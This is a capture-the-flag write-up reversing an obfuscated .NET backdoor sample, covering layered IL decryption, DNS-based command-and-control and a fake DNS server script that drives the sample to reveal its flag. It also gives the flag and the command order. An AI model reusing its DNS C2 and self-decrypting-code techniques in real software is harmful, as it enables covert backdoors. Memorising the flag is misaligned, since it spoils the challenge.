Intro

This year, the 8th challenge took most of my time. Up to the 8th one, challenges were pretty easy and at least I knew what to do when I saw them. However, this one was so different because I don’t know much about C# or C# reversing.

I will write all the steps I took, and all the scripts I wrote along the way. This will be a long post, so buckle up. At the end of this long analysis, I will present a solution with less than 50 lines of code. However, reaching that solution was not easy and I want to document all the steps that I took so we can all learn something.

First Layer

When we first open the file with dnSpy, we see that most of the functions are obfuscated.

public static void Main(string[] args)
{
    try
    {
        try
        {
            FLARE15.flare_74();
            flared_38(args);
        }
        catch (InvalidProgramException e)
        {
            FLARE15.flare_70(e, new object[1] { args });
        }
    }
    catch
    {
    }
}

The first function flare_74 is an initializiation function. It basically initializes the following variables;

  • FLARE15.d_b
  • FLARE15.gs_b
  • FLARE15.cl_b
  • FLARE15.wl_b
  • FLARE15.pe_b
  • FLARE15.gh_b
  • FLARE15.rt_b
  • FLARE15.d_m
  • FLARE15.gs_m
  • FLARE15.cl_m
  • FLARE15.wl_m
  • FLARE15.pe_m
  • FLARE15.gh_m
  • FLARE15.c

However next function flared_38(args); is not a valid function. Since it throws InvalidProgramException, it jumps to flare_70 function. Another surprise, flare_70 also throws an exception

public static object flare_70(InvalidProgramException e, object[] a)
{
    try
    {
        return flared_70(e, a);
    }
    catch (InvalidProgramException e2)
    {
        return flare_71(e2, new object[2] { e, a }, wl_m, wl_b);
    }
}

We navigate one more level. We need to analyze flare_71 to decrypt flare_70 so we can decrypt flared_38

public static object flare_71(InvalidProgramException e, object[] args, Dictionary<uint, int> m, byte[] b)
{
    int num = 0;
    uint num2 = 0u;
    int num3 = 0;
    StackTrace stackTrace = new StackTrace(e);
    int metadataToken = stackTrace.GetFrame(0)!.GetMethod()!.MetadataToken;
    Module module = typeof(Program).Module;
    MethodInfo methodInfo = (MethodInfo)module.ResolveMethod(metadataToken);
    MethodBase methodBase = module.ResolveMethod(metadataToken);
    ParameterInfo[] parameters = methodInfo.GetParameters();
    Type[] array = new Type[parameters.Length];
    SignatureHelper localVarSigHelper = SignatureHelper.GetLocalVarSigHelper();
    for (int i = 0; i < array.Length; i++)
    {
        array[i] = parameters[i].ParameterType;
    }
    Type declaringType = methodBase.DeclaringType;
    DynamicMethod dynamicMethod = new DynamicMethod("", methodInfo.ReturnType, array, declaringType, skipVisibility: true);
    DynamicILInfo dynamicILInfo = dynamicMethod.GetDynamicILInfo();
    MethodBody methodBody = methodInfo.GetMethodBody();
    foreach (LocalVariableInfo localVariable in methodBody.LocalVariables)
    {
        localVarSigHelper.AddArgument(localVariable.LocalType);
    }
    byte[] signature = localVarSigHelper.GetSignature();
    dynamicILInfo.SetLocalSignature(signature);
    foreach (KeyValuePair<uint, int> item in m)
    {
        num = item.Value;
        num2 = item.Key;
        if (num >= 1879048192 && num < 1879113727)
        {
            num3 = dynamicILInfo.GetTokenFor(module.ResolveString(num));
        }
        else
        {
            MemberInfo memberInfo = declaringType.Module.ResolveMember(num, null, null);
            num3 = ((!(memberInfo.GetType().Name == "RtFieldInfo")) ? ((!(memberInfo.GetType().Name == "RuntimeType")) ? ((!(memberInfo.Name == ".ctor") && !(memberInfo.Name == ".cctor")) ? dynamicILInfo.GetTokenFor(((MethodInfo)memberInfo).MethodHandle, ((TypeInfo)((MethodInfo)memberInfo).DeclaringType).TypeHandle) : dynamicILInfo.GetTokenFor(((ConstructorInfo)memberInfo).MethodHandle, ((TypeInfo)((ConstructorInfo)memberInfo).DeclaringType).TypeHandle)) : dynamicILInfo.GetTokenFor(((TypeInfo)memberInfo).TypeHandle)) : dynamicILInfo.GetTokenFor(((FieldInfo)memberInfo).FieldHandle, ((TypeInfo)((FieldInfo)memberInfo).DeclaringType).TypeHandle));
        }
        b[num2] = (byte)num3;
        b[num2 + 1] = (byte)(num3 >> 8);
        b[num2 + 2] = (byte)(num3 >> 16);
        b[num2 + 3] = (byte)(num3 >> 24);
    }
    dynamicILInfo.SetCode(b, methodBody.MaxStackSize);
    return dynamicMethod.Invoke(null, args);
}

When I saw the above code, I had no clue what it was doing 😄 I still don’t understand 100% but I’ll share what I have learned along the way.

This code uses System.Reflection to get the body of the obfuscated function, parameters, and signature. Next, it patches the obfuscated code with the given dictionary. Key is the offset, value is the bytes that go to the given offset. Dynamically putting those values won’t be enough since dynamically invoked code needs resolved tokens. This function checks the type of the token and resolves them accordingly. If we are going to patch our binary, we will only use the dictionary to patch those values back but will not do the token resolution.

We need to find those obfuscated functions, use those dictionaries and patch those bytes back. However, it’s not that easy. C# functions can have a tiny header or fat header according to the size of the function. If the function length is less than 64 bytes, it has a tiny header, otherwise, it has a fat header.

https://learn.microsoft.com/en-us/archive/msdn-magazine/2003/september/write-msil-code-on-the-fly-with-the-net-framework-profiling-api

We need to find the functions, decide whether they are fat or tiny, jump to that location, and patch those bytes back.

In my first attempt, I used a Python library called dnfile. As I said before, I will also list my failed attempts so my solution at the bottom will make much more sense. I first wrote a python script to list the function names and their size and location.

from ctypes import alignment
from re import M
import sys
import dnfile
import hashlib
from pefile import PE, DIRECTORY_ENTRY, PEFormatError
import json

filepath = sys.argv[1]

pe = dnfile.dnPE(filepath)
typedefs = pe.net.mdtables.TypeDef

result = {}

for element in typedefs:
    for method in element.MethodList:
        rva = method.row.Rva
        offset = pe.get_offset_from_rva(rva)
        header = pe.get_data(rva,12)
        print(header.hex())
        flags = header[0]
        
        if ( flags & 0x3 == 2): # tiny header
            size = flags  >> 2 & 0x3f
            headerSize = 1
            codeStart = offset + headerSize
        else: #fat header
            flags |= header[1] << 8
            headerSize = 4 * (flags >> 12 & 0xf)
            flags = flags & 0xfff
            size = PE.get_dword_from_offset(pe,offset+4)
            codeStart = offset + headerSize
        result[method.row.Name] = {
            "rva": rva,
            "offset":offset,
            "size": size,
            "header":headerSize,
            "codestart":codeStart
        }
        print("Name: %s RVA %02x Offset: %02x Size: %02x Header %02x Code Start %02x" % (method.row.Name,rva, offset, size,headerSize,codeStart))
        
# convert into JSON:
y = json.dumps(result)
print(y)

Then I used the following Python script to decrypt the first layer

import sys
import dnfile
from pefile import PE, DIRECTORY_ENTRY, PEFormatError
import struct
import mmap
import shutil
import hashlib

cl_b = [...]


patches = [
   {
    "original" : "flared_66",
    "dictionary": gh_m,
    "bytes": gh_b
   }, #rest of the first layer
   ]

functions = {
    "flared_00": {"rva": 8596, "offset": 37268, "size": 249, "header": 12, "codestart": 37280},   
    # rest of the functions
  }
  
  def patch(data,offset,bytes,dict):
    for (i,byte) in enumerate(bytes):
        data[offset+i] = byte
    
    for (k, v) in dict.items():
        data[offset+k:offset+k+4] = struct.pack("<I",v)

shutil.copyfile("FlareOn.Backdoor.exe","FlareOn.Backdoor_patched.exe")
with open('FlareOn.Backdoor_patched.exe', 'r+b') as f:
    mm = mmap.mmap(f.fileno(), 0)
    for val in patches:
        original = functions[val['original']]
        codestart = original['codestart']
        offset = original['offset']
        bytes = val['bytes']
        dictionary = val['dictionary']
        patch(mm,codestart,bytes,dictionary)
    mm.close()

Second Layer

After decrypting the first layer, we can see the contents of flare_70 and similar functions that were protected by flared_71. The next layer has another obfuscation.

public static object flared_70(InvalidProgramException e, object[] a)
{
    StackTrace stackTrace = new StackTrace(e);
    int metadataToken = stackTrace.GetFrame(0).GetMethod().MetadataToken;
    string text = FLARE15.flare_66(metadataToken);
    byte[] array = FLARE15.flare_69(text);
    byte[] array2 = FLARE12.flare_46(new byte[] { 18, 120, 171, 223 }, array);
    return FLARE15.flare_67(array2, metadataToken, a);
}

Functions protected by flared_70 are decrypted as follows;

  • Get the token of the function which gave the exception
  • Calculate SHA256 hash of the function by appending body,parameters,signature,calling convention etc. (flare_66)
  • Enumarate all sections and find a section name which starts with that HASH and read the content(flare_69)
  • Decrypt those section with given key (flare_46)
  • Run the code dynamically by parsing the tokens (flare_67).

This code was too complicated to emulate with Python so I switched to using dnLib. I have no prior experience related to C# so the code I wrote is a mess but it allowed me to decrypt the rest of the functions. I copied and pasted the original code to the new C# project and just replaced assembly part with the below code so that I could load the original file.

Assembly assembly = Assembly.LoadFile(srcFile);

The only problem with this approach was, two functions couldn’t be decrypted since System.Reflection doesn’t allow System.Management function to be decoded if it wasn’t in my binary. I really don’t know how to solve that but since it’s just two functions, I found out that

0x06000022 creates 94957fff1 hash and 0x06000024 creates 0e5cf5d9 hash. You can get the full source code of my solution from my repo.

Now we finally decrypted all the functions but it just doesn’t end here.

Final Layer

This program queries the DNS of random flare-on.com subdomains and uses the IP addresses as a communication channel. Our final solution will be based on this fact but let’s try to understand how this is happening. Our main function flared_38 looks like the below.

public static void flared_38(string[] args)
{
    bool createdNew;
    using (new Mutex(initiallyOwned: true, "e94901cd-77d9-44ca-9e5a-125190bcf317", out createdNew))
    {
        if (!createdNew)
        {
            return;
        }
        FLARE13 fLARE = new FLARE13();
        FLARE13.flare_48();
        FLARE03.flare_07();
        while (true)
        {
            try
            {
                switch (FLARE13.cs)
                {
                case FLARE08.A:
                    FLARE13.flare_50(FLARE07.A);
                    break;
                case FLARE08.B:
                    FLARE13.flare_50(flare_72());
                    break;
                case FLARE08.C:
                    FLARE13.flare_50(FLARE05.flare_19());
                    break;
                case FLARE08.D:
                    FLARE13.flare_50(FLARE05.flare_20());
                    break;
                case FLARE08.E:
                    FLARE13.flare_50(FLARE14.flare_52());
                    break;
                case FLARE08.F:
                    FLARE13.flare_50(FLARE05.flare_21());
                    break;
                case FLARE08.G:
                    FLARE13.flare_50(FLARE05.flare_22());
                    break;
                case FLARE08.H:
                    FLARE13.flare_50(flare_73());
                    break;
                }
            }
            catch (Exception)
            {
                try
                {
                }
                catch
                {
                }
            }
            Thread.Sleep(1);
        }
    }
}
  • It first initializes the state machine. This state machine decides which code section is going to run after the initial command.(flare_48)
  • Then it initializes SHA256 Hash and PRNG. PRNG is Mersenne Twister.

Then our dance with DNS queries starts. It uses our PRNG function and creates a random domain name and queries its DNS.

After each query, it gets a command from the DNS server and decides what to do with it.

public static bool flared_30(out byte[] r)
{
    bool result = true;
    r = null;
    try
    {
        IPHostEntry iPHostEntry = Dns.Resolve(A);
        r = iPHostEntry.AddressList[0].GetAddressBytes();
        B = 0;
        FLARE03.flare_09();
    }
    catch
    {
        B++;
        result = false;
    }
    return result;
}

This DNS result is used in different places. However, first DNS answer is compared with the below function.

    public static bool flared_33(byte[] r)
{
    if (r[0] >= 128)
    {
        D = 0;
        C = FLARE15.flare_62(r.Skip(1).Take(3).ToArray());
        E = new byte[C];
        return true;
    }
    return false;
}

The first byte of the DNS answer must be higher than 127. So this check ignores DNS answer if you redirected all *.flare-on.com to 127.0.0.1. We need to reply with a number higher than 127 to pass the first check. If you don’t give the correct answer, the program sleeps with a random value.

The first DNS result is being used as agent.id. To pass the first check, we can just send 129.0.0.1 as a reply. After we supplied the agent id, the program sends two requests to execute a command. The first request gets the length of the command, next request gets the actual command. The first octet of the DNS reply declares the task type which is defined in TT enum.

        public enum TT
        {
            // Token: 0x04000030 RID: 48
            A = 70,
            // Token: 0x04000031 RID: 49
            B,
            // Token: 0x04000032 RID: 50
            C = 43,
            // Token: 0x04000033 RID: 51
            D = 95,
            // Token: 0x04000034 RID: 52
            E
        }

If you want to send a C task, you will first send the size of the command, 129.0.0.X and then send the actual command 43.X.Y.Z

Those commands are then compared to a predefined command set and executed accordingly. This command and control server also supports compressing and decompressing but we won’t focus on those parts. We will only focus on actual commands that cause our flag to appear. The Command handler is something like the below.

public static FLARE07 flared_56()
{
    FLARE07 result = FLARE07.B;
    try
    {
        if (ListData.Count > 0 && ListData[0] != null)
        {
            byte[] array = ListData[0];
            FLARE06.TT taskType = (FLARE06.TT)array[0];
            byte[] array2 = array.Skip(1).ToArray();
            byte[] resultData = null;
    // removed for brevity
                string cmd = Encoding.UTF8.GetString(array2);
                Thread thread = new Thread((ThreadStart)delegate
                {
                    string text = cmd;
                    if (taskType == FLARE06.TT.C)
                    {
                        switch (flare_51(text))
                        {
                        case 350953279u:
                            if (text == "19")
                            {
                                flare_56(int.Parse(text), "146");
                                text = FLARE02.flare_04("JChwaW5nIC1uIDEgMTAuNjUuNDUuMyB8IGZpbmRzdHIgL2kgdHRsKSAtZXEgJG51bGw7JChwaW5nIC1uIDEgMTAuNjUuNC41MiB8IGZpbmRzdHIgL2kgdHRsKSAtZXEgJG51bGw7JChwaW5nIC1uIDEgMTAuNjUuMzEuMTU1IHwgZmluZHN0ciAvaSB0dGwpIC1lcSAkbnVsbDskKHBpbmcgLW4gMSBmbGFyZS1vbi5jb20gfCBmaW5kc3RyIC9pIHR0bCkgLWVxICRudWxs");
                                h.AppendData(Encoding.ASCII.GetBytes(flare_57() + text));
                            }
                            break;

        // removed for brevity
                });
                thread.Start();
}

Our commands are appended to the ListData array, if there’s a command, this handler executes the command. So if our task type is C, which is 43 and the command is 19 it first checks if our command ^ 0xF8 is equal to the first byte at FLARE15.c array. If the check is successful, it removes that byte from the array.

    public static void flared_55(int i, string s)
    {
        if (FLARE15.c.Count != 0 && FLARE15.c[0] == (i ^ 0xF8))
        {
            sh += s;
            FLARE15.c.Remove(i ^ 0xF8);
        }
        else
        {
            _bool = false;
        }
    }

Since this check always uses the first byte of the array, it means the order of the functions is important. We need to execute commands in order. We can easily calculate the commands by XORing each byte of FLARE15.c with 0xF8.

Then, it appends 146 to the sh variable and then calculates the SHA256 of this string and some salt which is calculated with the below function.

    public static string flared_57()
    {
        StackTrace stackTrace = new StackTrace();
        return stackTrace.GetFrame(1)!.GetMethod()!.ToString() + stackTrace.GetFrame(2)!.GetMethod()!.ToString();
    }

    public static string flare_57()
    {
        try
        {
            return flared_57();
        }
        catch (InvalidProgramException e)
        {
            return (string)FLARE15.flare_70(e, null);
        }
    }

After running each command and removing every byte from the FLARE15.c array, we finally run this function.

public static void flared_54()
{
    byte[] d = FLARE15.flare_69(flare_54(sh));
    byte[] hashAndReset = h.GetHashAndReset();
    byte[] array = FLARE12.flare_46(hashAndReset, d);
    string text = Path.GetTempFileName() + Encoding.UTF8.GetString(FLARE12.flare_46(hashAndReset, new byte[4] { 31, 29, 40, 72 }));
    using (FileStream fileStream = new FileStream(text, FileMode.Create, FileAccess.Write, FileShare.Read))
    {
        fileStream.Write(array, 0, array.Length);
    }
    Process.Start(text);
}
  • flare_69 finds a section that starts with reversed sh string. It’s the same as our second layer.
  • Calculate the final hash
  • Use this hash to decrypt the section.
  • Use this hash to decrypt the file name
  • Save and run the file.

Even though I knew the order and section name, I couldn’t calculate the result of flared_57. I have tried on decrypted binary, and original binary but was never able to get the salt. This is the part I wasted days. I will read the solutions and learn how people get that string. After giving up, I decided to try one last time.

DNS Server

If we can’t decrypt the binary, we can let the binary decrypt itself. We know that it first requests the agent id and then the commands. If we can give correct DNS answers in order, it will decrypt itself and will give us the flag. Here is our small Python script for this task.

#!/usr/bin/python
import socket
from dnslib import *

host = ''
port = 53
size = 512
cmds = [2,10,8,19,11,1,15,13,22,16,5,12,21,3,18,17,20,14,9,7,4]

def ipaddress(i,qname):
    # don't handle if domain doesn't include flare-on or we exhausted cmds
    if qname.find('flare-on') == -1 or i >= len(cmds) * 2: 
        return "127.0.0.1"   
    elif i == -1: # first subdomain request gets the agent id
        print("Sending 1 as agent id")
        return "129.0.0.1"
    elif i % 2 == 0: # return the length of the command
        cmd = cmds[i//2]
        length = len(str(cmd)) + 1
        print("Returning Length of [",cmd,"] length",length)
        return ("129.0.0.%d" % length)
    else: # return the command
        cmd = cmds[i//2]
        print("Sending cmd [",cmd,"]")
        ip = bytearray(str(cmd),'utf-8')
        ip  += bytes(3 - len(ip))
        return "43." + '.'.join(f'{c}' for c in ip)

if __name__ == "__main__":
    print("Flare-on Backdoor DNS started on port %d" % port)
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.bind((host, port))
    index = -1
    while True:
        try:
            data, addr = s.recvfrom(size)
            d = DNSRecord.parse(data)
            qname =  str(d.q.qname)
            q = DNSRecord(DNSHeader(id=d.header.id, qr=1, aa=1, ra=1), q=d.q)
            reply = q.reply()
            ip = ipaddress(index,qname)
            reply.add_answer(RR(qname, QTYPE.A,rdata=A(ip),ttl=0))
            if (qname.find("flare-on.com")) > 0:
                index += 1
            response_packet = reply.pack()
            s.sendto(response_packet, addr)
        except Exception as e:
            print(e)

Just start this DNS server and change your DNS server to the address of this server. After a couple of minutes, the last command 4 will run and you will get the flag.

W3_4re_Kn0wn_f0r_b31ng_Dyn4m1c@flare-on.com

You can get all the source codes of this blog post from this repo

I am available for new work
Interested? Feel free to reach